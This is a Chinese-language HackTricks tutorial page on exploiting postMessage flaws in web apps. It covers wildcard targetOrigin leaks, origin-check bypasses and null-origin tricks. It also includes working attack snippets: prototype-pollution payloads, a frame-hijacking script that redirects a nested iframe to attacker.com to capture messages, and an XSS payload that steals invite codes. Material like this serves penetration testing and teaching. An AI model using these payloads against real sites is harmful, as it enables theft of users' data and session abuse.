# PostMessage Vulnerabilities

## PostMessage漏洞

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

## 发送**PostMessage**

**PostMessage**使用以下函数发送消息：

```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```

请注意，**targetOrigin** 可以是 '\*' 或 URL，如 *<https://company.com>.*\
在**第二种情况**中，**消息只能发送到该域**（即使窗口对象的来源不同）。\
如果使用**通配符**，**消息可以发送到任何域**，并将发送到窗口对象的来源。

### 攻击 iframe 和 **targetOrigin** 中的通配符

如[**此报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)所述，如果您找到一个页面可以被**iframed**（没有 `X-Frame-Header` 保护）并且通过**postMessage**使用**通配符**（\*）发送敏感消息，您可以**修改** **iframe** 的**来源**并将**敏感**消息泄露到您控制的域。\
请注意，如果页面可以被 iframed 但**targetOrigin**设置为 URL 而不是通配符，则此**技巧将无效**。

```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```

## addEventListener 漏洞利用

**`addEventListener`** 是 JS 使用的函数，用于声明期望接收 `postMessages` 的函数。\
将使用类似以下代码的代码：

```javascript
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);
```

### 枚举

为了在当前页面中找到事件监听器，您可以：

* 在JS代码中搜索 `window.addEventListener` 和 `$(window).on`（*JQuery版本*）
* 在开发者工具控制台中执行：`getEventListeners(window)`

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-367ddebed043ee4c3b9f8b1b89372ee8d190bd57%2Fimage%20\(618\)%20\(1\).png?alt=media)

* 转到浏览器的开发者工具中的 *Elements --> Event Listeners*

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-cac104ed8604efaf486d7c910ea25018390fc82b%2Fimage%20\(393\).png?alt=media)

* 使用浏览器扩展，如 [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) 或 <https://github.com/fransr/postMessage-tracker>。这些浏览器扩展将拦截所有消息并显示给您。

### 源检查绕过

* **`event.isTrusted`** 属性被认为是安全的，因为它仅对由真实用户操作生成的事件返回 `True`。尽管如果实施正确，绕过它是具有挑战性的，但它在安全检查中的重要性值得注意。
* 在 PostMessage 事件中使用 **`indexOf()`** 进行源验证可能容易被绕过。以下是说明此漏洞的示例：

```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```

* `String.prototype.search()` 中的 **`search()`** 方法用于正则表达式，而不是字符串。传递除正则表达式以外的任何内容会导致隐式转换为正则表达式，使该方法可能不安全。这是因为在正则表达式中，点（.）充当通配符，允许使用特别设计的域绕过验证。例如：

```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```

* **`match()`** 函数类似于 `search()`，处理正则表达式。如果正则表达式结构不正确，可能容易被绕过。
* **`escapeHtml`** 函数旨在通过转义字符来对输入进行清理。但它不会创建新的转义对象，而是覆盖现有对象的属性。这种行为可能会被利用。特别是，如果可以操纵对象以使其受控属性不承认 `hasOwnProperty`，则 `escapeHtml` 不会按预期执行。以下示例演示了这一点：
* 预期失败：

```javascript
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
```

* 绕过转义：

```javascript
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```

在此漏洞的背景下，`File` 对象由于其只读的 `name` 属性而容易被利用。当在模板中使用此属性时，它不会被 `escapeHtml` 函数清理，从而导致潜在的安全风险。

* JavaScript 中的 `document.domain` 属性可以由脚本设置为缩短域名，从而在同一父域内更宽松地执行同源策略。

### e.origin == window\.origin 绕过

在使用 %%%%%% 在 **受控的 iframe** 中嵌入网页时，了解 iframe 的来源将被设置为 null 是至关重要的。这在处理 **受控属性** 及其对安全性和功能的影响时尤为重要。

通过在受控属性中指定 **`allow-popups`**，从 iframe 中打开的任何弹出窗口都会继承其父级的受控限制。这意味着，除非还包括 **`allow-popups-to-escape-sandbox`** 属性，否则弹出窗口的来源也会被设置为 `null`，与 iframe 的来源相同。

因此，在这些条件下打开弹出窗口并从 iframe 发送消息到弹出窗口时，发送和接收端的来源都被设置为 `null`。这种情况导致 **`e.origin == window.origin`** 评估为 true（`null == null`），因为 iframe 和弹出窗口共享相同的 `null` 来源值。

有关更多信息，请阅读：

{% content-ref url="postmessage-vulnerabilities/bypassing-sop-with-iframes-1" %}
[bypassing-sop-with-iframes-1](https://hacktricks.xsx.tw/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1)
{% endcontent-ref %}

### 绕过 e.source

可以检查消息是否来自脚本正在监听的同一窗口（对于来自浏览器扩展的 **内容脚本** 特别有趣，以检查消息是否来自同一页面）：

```javascript
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
```

你可以通过创建一个**iframe**发送**postMessage**并**立即删除**它，强制消息的\*\*`e.source`\*\*为null。

要了解更多信息，请阅读：

{% content-ref url="postmessage-vulnerabilities/bypassing-sop-with-iframes-2" %}
[bypassing-sop-with-iframes-2](https://hacktricks.xsx.tw/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2)
{% endcontent-ref %}

### X-Frame-Header绕过

为了执行这些攻击，理想情况下，你可以将受害者网页放在一个`iframe`中。但是一些像`X-Frame-Header`这样的标头可能会**阻止**这种**行为**。\
在这种情况下，你仍然可以使用一种不那么隐秘的攻击。你可以打开一个新标签页到受影响的Web应用程序并与其通信：

```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```

### 通过阻止主页面窃取发送给子iframe的消息

在以下页面中，您可以看到如何通过在发送数据之前**阻止**主页面并利用子页面中的**XSS**来**窃取**发送给**子iframe**的**敏感postmessage数据**：

{% content-ref url="postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage" %}
[blocking-main-page-to-steal-postmessage](https://hacktricks.xsx.tw/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage)
{% endcontent-ref %}

### 通过修改iframe位置窃取消息

如果您可以嵌入一个没有X-Frame-Header的包含另一个iframe的网页，您可以**更改该子iframe的位置**，因此，如果它正在接收使用**通配符**发送的**postmessage**，攻击者可以将该iframe的**来源**更改为由他控制的页面，并**窃取**消息：

{% content-ref url="postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location" %}
[steal-postmessage-modifying-iframe-location](https://hacktricks.xsx.tw/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location)
{% endcontent-ref %}

### postMessage到Prototype Pollution和/或XSS

在通过`postMessage`发送的数据由JS执行的情况下，您可以**嵌入**该**页面**并利用**原型污染/XSS**通过`postMessage`发送利用程序。

可以在<https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html>中找到一些**非常好解释的通过`postMessage`的XSS**示例。

通过`postMessage`向`iframe`发送利用程序以滥用**原型污染，然后XSS**的示例：

```html
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>
```

## 更多信息

* 链接到有关[**原型污染**](https://hacktricks.xsx.tw/pentesting-web/deserialization/nodejs-proto-prototype-pollution)的页面
* 链接到有关[**XSS**](https://hacktricks.xsx.tw/pentesting-web/xss-cross-site-scripting)的页面
* 链接到有关[**客户端原型污染到XSS**](https://hacktricks.xsx.tw/deserialization/nodejs-proto-prototype-pollution#client-side-prototype-pollution-to-xss)的页面

## 参考资料

* <https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html>
* <https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd>
* 练习：<https://github.com/yavolo/eventlistener-xss-recon>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由暗网支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。

WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的公司广告或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
